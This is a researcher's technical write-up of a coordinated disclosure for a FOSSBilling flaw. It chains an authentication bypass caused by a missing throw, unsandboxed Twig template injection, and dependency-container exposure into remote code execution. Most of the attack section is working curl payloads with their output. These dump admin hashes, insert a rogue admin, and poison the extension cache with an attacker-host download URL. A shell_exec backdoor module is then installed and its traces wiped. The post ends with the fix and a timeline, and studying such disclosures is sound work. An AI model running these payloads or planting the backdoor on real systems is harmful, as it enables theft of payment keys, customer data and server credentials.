FOSSBilling: One Missing throw - From Auth Bypass to Unauthenticated RCE
Table of Contents
PR #1376 was titled “Exception messages cleanup.” They cleaned up the exception so well, they removed the part that throws it. Three years later, the entire privilege system is an open bar.
Original disclosure: This chain was coordinated and first published by VulnCheck: fossbilling-auth-bypass-ssti-rce. This post is my technical write-up.
TL;DR
Two vulnerabilities in FOSSBilling, an open-source billing and client management platform:
- Authentication Bypass (CVE-2026-27604) - A missing
throwkeyword in the API role checker exposes all admin endpoints to unauthenticated attackers via/api/system/. - Unsandboxed Twig SSTI with DI Container Exposure (CVE-2026-28496) - The
string_renderadmin API renders arbitrary Twig templates without sandbox, and the guest API handler exposesgetDi()which returns the full Pimple DI container (PDO, cache, session, all services).
Chained together, an unauthenticated attacker can execute arbitrary SQL, create admin accounts, poison the Symfony cache, install malicious PHP extensions, and achieve full remote code execution.
Affected versions: 0.5.4 through 0.7.2 (latest stable) and current main branch. Time from git clone (14:39 CET) to uid=33(www-data) (15:48 CET): 69 minutes.
The Root Cause
The vulnerability lives in src/modules/Api/Controller/Client.php, in a method that validates API role access:
private function isRoleAllowed($role): bool
{
$allowed = ['guest', 'client', 'admin'];
if (!in_array($role, $allowed)) {
new \FOSSBilling\Exception('Unknown API call :call', [':call' => ''], 701);
}
return true;
}
The exception is created but never thrown. It just… sits there. Doing nothing. Like a bouncer who checks your ID, sees it’s fake, writes an angry note about it, puts the note in his pocket, and lets you in anyway. It should be:
throw new \FOSSBilling\Exception('Unknown API call :call', [':call' => ''], 701);
This was introduced in PR #1376 (“Exception messages cleanup”) on July 3, 2023. The developer was adding a placeholder to the error message and accidentally dropped the throw keyword during the refactoring. The previous code was:
throw new \Box_Exception('Unknown API call', null, 701);
It passed code review and has been in production for almost three years. Five characters, mass-deployed to billing systems handling real money. The PR had two reviewers. Neither noticed.
Sometimes the worst vulnerabilities aren’t complex at all. They’re one missing keyword in a refactoring commit that nobody reads twice. Linters won’t flag it - the code is syntactically valid, and the exception gets created, evaluated, and silently discarded by PHP’s garbage collector. How do you catch that in review? You don’t.
How It Works
FOSSBilling’s API Architecture
FOSSBilling routes all API calls through a single controller at /api/:role/:module/:method. The :role segment determines the permission level. Four roles exist:
/api/guest/- Public, no authentication required/api/client/- Requires an authenticated client session/api/admin/- Requires an authenticated admin session/api/system/- Internal role used by cron jobs, runs with theROLE_CRONidentity
The ROLE_CRON identity is special: when the Staff service checks permissions for this role, it returns true unconditionally. God mode. This is by design - cron jobs need unrestricted access to all modules. Reasonable. What’s less reasonable is handing that same god mode to anyone with a curl binary. The problem is that isRoleAllowed() should prevent external requests from ever reaching this role, but because the exception is never thrown, any unauthenticated user can invoke any admin API method by simply replacing /api/admin/ with /api/system/ in the URL.
This isn’t just an information disclosure. The system role gives more access than admin because it bypasses the per-module permission checks that even admin accounts are subject to. An unauthenticated attacker has higher privileges than the site owner.
Step 1: Confirming the Auth Bypass
The admin-only string_render endpoint in the System module renders arbitrary Twig templates. Through /api/system/, it becomes accessible without authentication:
curl -s -X POST http://target/api/system/system/string_render \
-H "Content-Type: application/json" \
-d '{"_tpl": "{{ 7*7 }}"}'
{"result": "49", "error": null}
The same request through /api/admin/ correctly rejects unauthenticated access:
{"result": null, "error": {"message": "Authentication Failed", "code": 206}}
This confirms two things simultaneously: the auth bypass works, and we have server-side template injection. The string_render method passes user input directly to Twig’s createTemplate() with no sandbox, no security policy, and no input filtering. It’s the “please hack me” endpoint, and it was behind an auth wall that forgot how to auth.
Step 2: Reaching the DI Container
SSTI alone is like finding an unlocked terminal in the lobby - interesting, but you can only see what’s on screen. Twig doesn’t expose PHP built-in functions like system() or file_put_contents(). The real question is what objects are available in the rendering context. Spoiler: everything.
FOSSBilling’s Twig environment is configured in di.php. It registers a guest global variable, which is an instance of Api_Handler - the same class that handles API routing. This class implements InjectionAwareInterface, which means it has getDi() and setDi() methods. In Pimple-based PHP applications, any object that implements this interface carries a reference to the full dependency injection container.
Calling guest.getDi() from a Twig template returns the Pimple container with every registered service. The application just handed us its entire internal wiring diagram and said “here, pull any wire you want.”
curl -s -X POST http://target/api/system/system/string_render \
-H "Content-Type: application/json" \
-d '{"_tpl": "{% set di = guest.getDi() %}{% set pdo = attribute(di, \"offsetGet\", [\"pdo\"]) %}{% set stmt = pdo.query(\"SELECT database() as db, user() as usr, version() as ver\") %}{% set r = stmt.fetch() %}{{ r.db }} | {{ r.usr }} | {{ r.ver }}"}'
{"result": "fossbilling | fossuser@localhost | 10.11.13-MariaDB", "error": null}
Listing the container’s keys reveals the full attack surface:
curl -s -X POST http://target/api/system/system/string_render \
-H "Content-Type: application/json" \
-d '{"_tpl": "{% set di = guest.getDi() %}{{ di.keys | join(\", \") }}"}'
{"result": "logger, crypt, pdo, db, dbal, em, pager, url, mod, mod_service, mod_config, events_manager, session, request, cache, auth, twig, is_client_logged, is_client_email_validated, is_admin_logged, loggedin_client, loggedin_admin, set_return_uri, api, api_guest, api_client, api_admin, api_system, tools, validator, central_alerts, extension_manager, updater, server_manager, period, theme, cart, table, license_server, geoip, password, translate, table_export_csv, parse_markdown", "error": null}
That’s 40 services, all accessible from a single unauthenticated HTTP request. The ones that matter for exploitation:
pdo/dbal/em- Three different database access layers (raw PDO, Doctrine DBAL, Doctrine EntityManager). Any of them allows arbitrary SQL.cache- SymfonyFilesystemAdapter. Readable and writable. Stores extension marketplace responses.password- Password hashing service. Generates bcrypt hashes compatible with FOSSBilling’s authentication.session/auth- Session and authentication services. Could be used to hijack or forge sessions.api_system- The system API handler itself, withROLE_CRONprivileges. A second path to call admin methods.twig- The Twig environment. Can be reconfigured (change cache directory, add loaders, register functions).extension_manager/updater- Extension marketplace client and core update mechanism.
The Twig attribute() function is what makes this accessible. Pimple’s container implements ArrayAccess, so attribute(di, "offsetGet", ["pdo"]) is equivalent to $di['pdo'] in PHP. This gives us the raw PDO connection - not a query builder or ORM, but direct database access with prepared statement support.
Step 3: Dumping Credentials
With PDO access, SQL queries run directly against the database. No injection points needed, no escaping tricks, no ORM limitations. The pdo.query() method returns a PDOStatement that Twig can iterate:
curl -s -X POST http://target/api/system/system/string_render \
-H "Content-Type: application/json" \
-d '{"_tpl": "{% set di = guest.getDi() %}{% set pdo = attribute(di, \"offsetGet\", [\"pdo\"]) %}{% set stmt = pdo.query(\"SELECT email, pass, role FROM admin\") %}{% for row in stmt %}{{ row.email }} | {{ row.role }} | {{ row.pass }}\n{% endfor %}"}'
{"result": "admin@company.com | admin | $2y$12$Pykcs7qro...\ncron@internal | cron | $2y$12$qLCPhm...\n", "error": null}
This is a single unauthenticated HTTP request that returns every admin account with its bcrypt password hash. No SQL injection, no blind extraction, no time-based tricks - just politely asking the database through a template engine that was never meant to be a SQL client. Twig is for rendering HTML. We’re using it to run SELECT * FROM admin. The framework is not having a good day. The same technique works for the client table (customer credentials), pay_gateway table (payment processor configurations), invoice table (financial records), and any other table in the database.
For prepared statements with parameters, pdo.prepare() and stmt.execute() are both callable from Twig, enabling parameterized writes. Yes, we have prepared statements in our SSTI. We’re writing cleaner SQL than most PHP applications, and we’re doing it from inside a template injection. This is fine.
Step 4: Creating an Admin Account
At this point, a sane person would stop and write the advisory. We have every credential, every invoice, every Stripe key. That’s cute. We want a shell. If it doesn’t end with uid=33(www-data), we’re not done. Play the long game.
Creating an admin account requires two things: a properly hashed password and an INSERT into the admin table. Normally you’d need to reverse-engineer the hashing scheme or crack existing hashes. Here, the DI container hands us the exact same hashing service the application uses. We’re not breaking in - we’re using the front door’s own key duplicator. The password service exposes hashIt(), which generates a bcrypt hash compatible with FOSSBilling’s authentication:
curl -s -X POST http://target/api/system/system/string_render \
-H "Content-Type: application/json" \
-d '{"_tpl": "{% set di = guest.getDi() %}{% set pdo = attribute(di, \"offsetGet\", [\"pdo\"]) %}{% set h = attribute(di, \"offsetGet\", [\"password\"]) %}{% set hp = h.hashIt(\"Evil123!\") %}{% set st = pdo.prepare(\"INSERT INTO admin (role, admin_group_id, email, pass, name, status, created_at, updated_at) VALUES (?,?,?,?,?,?,NOW(),NOW())\") %}{% set r = st.execute([\"admin\", 1, \"evil@admin.com\", hp, \"pwn\", \"active\"]) %}{{ r ? \"OK\" : \"FAIL\" }}"}'
{"result": "OK", "error": null}
The admin_group_id = 1 places the account in the Administrators group with full permissions. The status = "active" makes it immediately usable. Login is through the guest staff API, which is public by design (it’s the normal admin login endpoint):
curl -s -X POST http://target/api/guest/staff/login \
-H "Content-Type: application/json" \
-b cookies.txt -c cookies.txt \
-d '{"email": "evil@admin.com", "password": "Evil123!"}'
{"result": {"id": 3, "email": "evil@admin.com", "name": "pwn", "role": "admin"}, "error": null}
We now have a full admin session on a billing platform we’ve never authenticated to. We created the account, hashed the password, inserted the row, and logged in - all through a template engine. At no point did we provide credentials to anything. The application provided them to us.
Step 5: Cache Poisoning
Being admin was only half the problem. You’d think “I’m admin, game over, just upload a PHP shell” - and normally you’d be right. But credit where credit is due: FOSSBilling installs extensions by downloading ZIP archives exclusively from its official marketplace at extensions.fossbilling.org. The ExtensionManager class has the marketplace URL hardcoded as a private property. Not configurable through the admin UI, not through any API endpoint, not through environment variables. The developers clearly thought about supply chain security here. Unfortunately, they forgot about the cache.
When an admin clicks “Install” on an extension, the code path is:
Extension\Api\Admin::install()callsExtension\Service::downloadAndExtract()downloadAndExtract()callsExtensionManager::getLatestExtensionRelease($id)getLatestExtensionRelease()callsgetExtensionReleases(), thengetExtension()getExtension()callsmakeRequest('extension/' . $id)makeRequest()checks the Symfony cache first: if a cached response exists for this endpoint, it returns it directly without making an HTTP request to the marketplace
This is the critical insight. The Symfony FilesystemAdapter cache is a trusted data store. Once a value is in the cache, makeRequest() returns it as if it came from the real marketplace. No signature verification, no integrity check, no re-validation. The application trusts its own cache the way you’d trust a signed package - except anyone with DI access can rewrite it. If we can write to the cache before the legitimate marketplace response is fetched, we control what downloadAndExtract() thinks the extension metadata is - including the download URL.
The DI container exposes the cache service. The cache key is simpler than it looks: it’s just the endpoint string concatenated with the serialized parameters, endpoint + serialize(params). For an extension lookup that’s extension/Custommodulea:0:{}, where a:0:{} is serialize([]) because makeRequest() passes no additional parameters. Symfony’s FilesystemAdapter mangles that logical key into an on-disk id internally, but here’s the trick: both the read path and our poison call pass the same logical string, so Symfony derives the same id for both. cache.getItem("extension/Custommodulea:0:{}") lands on exactly the entry the installer will read. No hashing to reproduce.
FOSSBilling’s Twig environment doesn’t even register a hash() filter, so there’s nothing to compute server-side anyway. We build the key client-side and drop it straight into the template. We inject a fake manifest with the structure getLatestExtensionRelease() expects: an id, a releases array with at least one entry containing download_url, min_fossbilling_version and version, and a top-level minimum_fossbilling_version:
curl -s -X POST http://target/api/system/system/string_render \
-H "Content-Type: application/json" \
-d '{"_tpl": "{% set di = guest.getDi() %}{% set cache = attribute(di, \"offsetGet\", [\"cache\"]) %}{% set item = cache.getItem(\"extension/Custommodulea:0:{}\") %}{% set a = item.expiresAfter(3600) %}{% set fake = {\"id\":\"Custommodule\",\"releases\":[{\"download_url\":\"http://attacker:9999/custommodule.zip\",\"min_fossbilling_version\":\"0.0.1\",\"version\":\"1.0.0\"}],\"minimum_fossbilling_version\":\"0.0.1\"} %}{% set b = item.set(fake) %}{% set r = cache.save(item) %}{{ r ? \"OK\" : \"FAIL\" }}"}'
{"result": "OK", "error": null}
The expiresAfter(3600) gives the poisoned entry a one-hour TTL. When the admin session calls the install API, FOSSBilling’s makeRequest() finds our cached entry and returns it as the “marketplace response.” The download_url now points to our server instead of extensions.fossbilling.org. FOSSBilling is about to install malware on itself, voluntarily, using its own extension installer.
Step 6: Delivering the Malicious Extension
FOSSBilling modules follow a simple convention. A module named Custommodule lives at modules/Custommodule/ and needs three things:
manifest.json- Module metadata (id, name, version)Service.php- The service class (must implementInjectionAwareInterface)Api/Guest.php- Public API methods (accessible without authentication via/api/guest/<module>/<method>)
The Guest API is the most interesting part. Any public method on this class becomes a callable API endpoint, no authentication required. FOSSBilling’s API router loads the class, instantiates it, and calls the method with whatever parameters the HTTP request provides. If you name a method exec and it calls shell_exec, congratulations - you’ve just added unauthenticated RCE as a feature.
Our module’s Api/Guest.php contains two methods: exec() for command execution and cleanup() for self-destruction:
class Guest extends \Api_Abstract
{
public function exec($data)
{
return shell_exec($data['cmd'] ?? 'id');
}
public function cleanup($data)
{
$dir = dirname(__DIR__);
$it = new \RecursiveIteratorIterator(
new \RecursiveDirectoryIterator($dir, \FilesystemIterator::SKIP_DOTS),
\RecursiveIteratorIterator::CHILD_FIRST
);
foreach ($it as $f) {
$f->isDir() ? rmdir($f->getPathname()) : unlink($f->getPathname());
}
rmdir($dir);
return true;
}
}
The attacker serves this module as a ZIP archive on their HTTP server. When the admin session calls the install and activate endpoints, FOSSBilling downloads our ZIP (from the poisoned cache URL), extracts it to modules/Custommodule/, registers it in the database, and loads the module:
curl -s -X POST http://target/api/admin/extension/install \
-H "Content-Type: application/json" -b cookies.txt \
-d '{"CSRFToken": "<token>", "id": "Custommodule", "type": "mod"}'
curl -s -X POST http://target/api/admin/extension/activate \
-H "Content-Type: application/json" -b cookies.txt \
-d '{"CSRFToken": "<token>", "id": "Custommodule", "type": "mod"}'
Step 7: Unauthenticated RCE
The module is now live. We went from zero access to having a PHP backdoor registered as an official FOSSBilling extension, served through its own API framework, with its own clean URL. The billing system is now hosting our malware as a first-class citizen. Its Guest API is accessible to anyone, with no authentication:
curl -s -X POST http://target/api/guest/custommodule/exec \
-H "Content-Type: application/json" \
-d '{"cmd": "id"}'
{"result": "uid=33(www-data) gid=33(www-data) groups=33(www-data)\n", "error": null}
Cleanup
We’re done. Time to leave. But we’re not animals - we clean up after ourselves. The cleanup() method uses PHP’s RecursiveIteratorIterator to walk the module directory and delete every file with unlink() and every directory with rmdir(). This is done through the module’s own Guest API - the last thing it does before its files are deleted is return a success response.
The admin account and extension database record are removed via SSTI + PDO in a separate request. After cleanup: no module files on disk, no rogue admin in the database, no extension record, no cache entries. Ghost mode. The only trace is the web server access log, and even that shows generic API calls to /api/system/ and /api/guest/ with no distinguishing payload in the URL. Good luck writing that incident report.
The Full Chain
Unauthenticated attacker
|
| POST /api/system/system/string_render (auth bypass)
|
v
SSTI -> guest.getDi() -> PDO
|
| INSERT INTO admin (...)
|
v
POST /api/guest/staff/login (admin session)
|
| SSTI -> getDi() -> cache.save() (poisoned extension manifest)
|
v
POST /api/admin/extension/install (downloads attacker ZIP)
POST /api/admin/extension/activate
|
v
POST /api/guest/pwned/exec {"cmd": "id"}
-> uid=33(www-data)
All steps are automated in the PoC. From zero to shell in seconds. The fix is a five-character patch. The exploit is 300 lines of Python. They forgot to throw, and the whole system threw up (:
Impact
FOSSBilling is a billing and client management platform used by hosting providers to manage customers, process payments, and automate server provisioning. The database isn’t just application data - it’s a hosting business’s entire operation.
Even without escalating to RCE, the credential dump alone is devastating. The database contains 60+ tables, and many of them hold data that an attacker can directly monetize or use for lateral movement:
Client data (client table): Full names, emails, physical addresses, phone numbers, company names, VAT numbers, document numbers. This is PII covered by GDPR and similar regulations. A breach of this data triggers mandatory disclosure requirements.
Payment gateway credentials (pay_gateway table): FOSSBilling stores the configuration for every payment processor - Stripe secret keys, PayPal credentials, custom gateway tokens. Serialized, in the database, one query away. These aren’t public keys. These are the “charge any card, refund to any account” keys. The ones Stripe tells you to never expose. They’re sitting in a database behind an auth wall that doesn’t auth.
Invoices and transactions (invoice, invoice_item, transaction tables): Complete financial history. Invoice amounts, payment statuses, transaction IDs, billing periods. An attacker can modify unpaid invoices to redirect payments, mark invoices as paid without payment, or exfiltrate the financial records.
Hosting server credentials (service_hosting_server table): This is where it gets really ugly. FOSSBilling integrates with server management panels (cPanel, Plesk, DirectAdmin) to automate provisioning. The server table stores hostnames, IP addresses, admin usernames, and API credentials for these panels. A billing system compromise isn’t just about the billing system - it’s the skeleton key to every server the hosting provider manages. One missing throw in a billing app, and suddenly every customer’s website, email, and database is accessible.
Client hosting accounts (service_hosting table): Individual hosting account details including passwords, server assignments, and provisioning data. Combined with the server credentials above, this gives access to every customer’s hosting environment.
Support tickets (support_ticket, support_ticket_message tables): If you’ve ever worked in hosting, you know what’s in support tickets. “Hi, my password is P@ssw0rd123 and my FTP isn’t working.” Years of customer communications, often with credentials shared in plaintext, server access details, and business-critical discussions. All in one query.
API tokens and sessions (session table, admin api_token field): Active sessions can be hijacked. Admin API tokens, if set, provide persistent authenticated access even after passwords are changed.
How many instances are out there?
Hard to say. FOSSBilling’s Docker image has 52,000+ pulls, GitHub releases have been downloaded 29,000+ times, and the project has 1,500+ stars. The official stance is “we do not recommend using it in production yet.” Cool. Then why ship a production Docker image, a stable release branch, and a live demo at demo.fossbilling.org? Come on. People are using this in production. People always use things in production before they’re “ready.” That’s the entire history of software.
The exact number of live instances is impossible to pin down because hosting providers do what hosting providers do: they slap their own logo on everything and remove the “Powered by” footer. FOSSBilling becomes invisible to technology trackers like BuiltWith or WhatCMS. WHMCS shows 10,000+ detected installations because most users are too lazy to change the footer. FOSSBilling users actually rebrand, which ironically makes the attack surface harder to map but doesn’t make it smaller.
A conservative estimate puts it in the low thousands of production instances. Each one managing real clients, processing real payments, storing real Stripe secret keys, and holding the admin credentials to real cPanel/Plesk servers. All running the same code. All missing the same throw. For three years.
The real impact
The RCE chain described above is the worst case, but an attacker doesn’t need to go that far. A single unauthenticated request to string_render with a SQL query is enough to dump every credential in the database. No shell needed, no extension installed, no admin account created. One POST request and the entire business is compromised. Stripe keys, client addresses, server credentials, invoices - everything a hosting company has, served on a JSON plate.
Timeline
Date Event
2023-07-03 Auth-bypass bug introduced: the throw is dropped from isRoleAllowed() during the refactor in PR #1376
2023-07-06 FOSSBilling 0.5.4 released, the first version carrying the bug
2026-04-08 Chain discovered and reported to FOSSBilling through the VulnCheck CNA; two CVEs requested (auth bypass and SSTI/DI chain), 120-day disclosure deadline set for 2026-08-06
2026-04-14 Maintainer confirms the auth bypass and closes it as a duplicate of an existing private advisory (GHSA-78x5-c8gw-8279, CVE-2026-27604)
2026-04-15 Auth bypass fixed upstream: throw restored in isRoleAllowed() (#3396)
2026-04-24 Maintainer confirms the Twig SSTI overlaps an existing report (GHSA-57mv-jm88-66jc) but rules the getDi() DI-container exposure and the PDO / cache-poisoning RCE escalation novel; folds them in, raises the advisory impact to RCE, and credits me as a finder (CVE-2026-28496)
2026-05-11 SSTI fixed upstream: string_render routed through a sandboxed renderer (#3524)
2026-05-28 FOSSBilling 0.8.0 released, shipping both fixes (first fixed release)
2026-06-18 FOSSBilling publishes advisory GHSA-57mv-jm88-66jc / CVE-2026-28496, ahead of the 2026-08-06 deadline, to give users an upgrade window
2026-06-23 VulnCheck publishes the coordinated disclosure
2026-07-06 This technical write-up published
Note on the duplicate: The auth bypass (missing throw) was independently discovered and reported to FOSSBilling before us via GHSA-78x5-c8gw-8279. The maintainer confirmed our report as valid but marked it as a duplicate of the existing advisory. The SSTI and the full RCE chain (CVE-2026-28496) remain original findings - the prior report covered only the auth bypass, not the template injection, DI container exposure, or the exploitation path to RCE.
On burning vulns. This is a pattern I see too often in vulnerability research. Someone finds a bug, reports it, gets a CVE, and moves on. The auth bypass here is a good example: it’s a valid finding, but on its own it’s just “you can call admin API endpoints.” That’s interesting, but what can you actually do with it? The researcher who reported it didn’t explore that question. They found the open door and filed the report.
The real impact isn’t the open door. It’s the SSTI behind it that gives you PDO access to the entire database, the cache poisoning that lets you inject malicious extension manifests, the extension system that executes arbitrary PHP, and the cleanup chain that removes all traces. That’s the difference between “auth bypass” and “one POST request dumps every Stripe key, client address, and server credential in the platform.”
Burning a vuln on just the entry point means the vendor patches the door and thinks they’re safe, when the real problem is everything behind it. A missing throw is a one-line fix. An unsandboxed template engine with DI container exposure is an architecture problem. If you only report the throw, the vendor adds it back and ships. The SSTI stays. The next auth bypass - and there will be one - chains right back into RCE.
Report the full chain or don’t report at all. Partial findings give vendors false confidence and waste CVE identifiers on symptoms instead of root causes.
Fix
Add the missing throw keyword in src/modules/Api/Controller/Client.php:
- new \FOSSBilling\Exception('Unknown API call :call', [':call' => ''], 701);
+ throw new \FOSSBilling\Exception('Unknown API call :call', [':call' => ''], 701);
Additionally, the string_render API method should use a Twig sandbox with a strict security policy, and the guest API handler should not expose getDi() to template contexts. Exposing the DI container to Twig is like leaving the master key inside the lock - it doesn’t matter how many doors you have.